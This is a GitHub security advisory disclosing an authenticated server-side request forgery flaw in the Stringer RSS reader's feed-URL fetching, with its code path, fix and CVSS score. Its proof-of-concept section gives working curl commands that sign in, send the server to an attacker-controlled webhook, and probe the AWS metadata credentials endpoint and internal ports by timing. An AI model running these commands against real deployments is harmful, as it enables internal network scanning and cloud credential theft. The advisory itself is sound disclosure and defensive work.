Skip to content

Authenticated Server-Side Request Forgery (SSRF) via feed URL in Stringer

High
mockdeep published GHSA-496x-437q-h35q Jun 10, 2026

Software

stringer-rss/stringer

Affected versions

all versions before 2026-06-10 (commit 75cb0955 / PR #1548)

Patched versions

75cb0955

Description

Summary

An unrestricted Server-Side Request Forgery (SSRF) vulnerability allows any authenticated user to force the Stringer server to send arbitrary HTTP/HTTPS requests to internal networks, localhost services, and cloud metadata endpoints (e.g. AWS IMDS 169.254.169.254). When self-service signup is enabled (Setting::UserSignup), even a low-privileged registered user can exploit this to scan internal services or steal cloud IAM credentials.

Details

When a user adds a feed, the user-supplied URL is fetched directly with no scheme allow-list, no host/IP filtering, and HTTP redirects followed by default.

Data flow:

  1. POST /feeds with feed_urlapp/controllers/feeds_controller.rb (create):
    @feed_url = params[:feed_url]
    feed = Feed::Create.call(@feed_url, user: current_user)
  2. app/commands/feed/create.rb:
    result = FeedDiscovery.call(url)
  3. app/utils/feed_discovery.rb — the unguarded sink:
    def get_feed_for_url(url)
      response = HTTParty.get(url).to_s   # <-- no validation, follows redirects
      feed = Feedjira.parse(response)
      ...
    end
    FeedDiscovery.call also calls Feedbag.find(url), which issues a second outbound request.

The same unguarded fetch is reachable from:

  • PUT /feeds/:id (feeds#update) — lets the user change feed_url, fetched on the next scheduled poll.
  • app/commands/feed/fetch_one.rbHTTParty.get(feed.url).

There is no SSRF guard anywhere in the codebase (no private-IP/link-local/loopback rejection, no scheme restriction). FeedDiscovery.call runs synchronously during POST /feeds, so the response/timing differences are directly observable to the attacker, enabling blind internal port scanning. Because redirects are followed, any future host-filtering on the initial URL could still be bypassed via a 30x redirect to an internal address.

PoC

NOTE — values you must replace for your own environment are marked <<...>>:

  • <<HOST>> : base URL of your Stringer instance.
  • <<WEBHOOK>> : your own webhook.site (or Burp Collaborator) URL.
  • <<TOKEN_SETUP>> / <<TOKEN_AUTH>> : the authenticity_token (Rails CSRF token) read from the HTML form of the
    preceding GET request. CSRF is enabled, so each POST must carry the token from a fresh GET in the same session.

Test account: this PoC creates the first account itself (the first registered user becomes admin). The vulnerability
only requires any authenticated account — in a deployment with Setting::UserSignup enabled, a normal
self-registered user is sufficient.

All commands use a cookie jar (cj.txt) to keep the session.

1) Create + log in as the first user (admin). Read the CSRF token from the setup form first:

curl -s -c cj.txt <<HOST>>/setup/password

(extract authenticity_token value from the returned HTML → <<TOKEN_SETUP>>)

curl -s -b cj.txt -c cj.txt -X POST <<HOST>>/setup/password --data-urlencode "authenticity_token=<<TOKEN_SETUP>>" --data-urlencode "user[username]=attacker" --data-urlencode "user[password]=Password123!" --data-urlencode "user[password_confirmation]=Password123!"

(302 → /feeds/import = signed in)

2) Get a CSRF token for the authenticated session:

curl -s -b cj.txt -c cj.txt <<HOST>>/feeds/new

(extract authenticity_token<<TOKEN_AUTH>>)

3) Trigger the SSRF — make the server call an attacker-controlled URL (out-of-band proof):

curl -s -b cj.txt -c cj.txt -X POST <<HOST>>/feeds --data-urlencode "authenticity_token=<<TOKEN_AUTH>>" --data-urlencode "feed_url=<<WEBHOOK>>/ssrf-proof-stringer?from=server"

Then check the collaborator (<<WEBHOOK>>) — a request arriving from the server's IP confirms the SSRF.

4) Reach internal-only targets the attacker cannot reach directly (blind oracle via response/timing):

curl -s -b cj.txt -c cj.txt -o /dev/null -w "time=%{time_total}\n" -X POST <<HOST>>/feeds --data-urlencode "authenticity_token=<<TOKEN_AUTH>>" --data-urlencode "feed_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Verified behaviour

Verified end-to-end against a live instance running stringerrss/stringer:latest (rails 8.1.3, httparty 0.24.2, feedbag 1.0.2):

  • Step 3 returned HTTP 200 after a multi-second synchronous outbound fetch. The collaborator showed two GET
    requests to the marker path /ssrf-proof-stringer?from=server, originating from the server's egress IP (not the
    client), with User-Agents Feedbag/1.0.2 and Ruby — confirming both the discovery and the fetch sinks fire.

  • Step 4 against a Docker-internal hostname (resolvable only inside the server's private network) produced a clear
    blind oracle:

    • open internal port → fast response
    • closed internal port → instant connection refused
    • unresolvable host → multi-second DNS timeout

    i.e. the server reaches internal hosts and the measurable timing/response differences let an attacker enumerate
    internal hosts and ports.

Impact

  • Vulnerability class: CWE-918 Server-Side Request Forgery.
  • Who is impacted: Any Stringer deployment, especially multi-user ones with self-service signup enabled. Any authenticated user (including the lowest-privileged registered user) can use the server as a proxy into the internal network / cloud metadata service, potentially leaking cloud IAM credentials, scanning and reaching internal-only services, and bypassing network ACLs.

Fix

Fixed in commit 75cb0955 (PR #1548). All outbound feed fetches now go through a SafeFetch helper that:

  • restricts the URL scheme to http/https, and
  • performs the request inside private_address_check's only_public_connections, which validates the actual connected IP — including loopback, private (RFC 1918), link-local (169.254.0.0/16, fe80::/10), and other reserved ranges, and re-checks on every redirect hop.

This is applied to FeedDiscovery (both the direct fetch and the Feedbag.find discovery request) and Feed::FetchOne.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

CVE ID

CVE-2026-55160

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits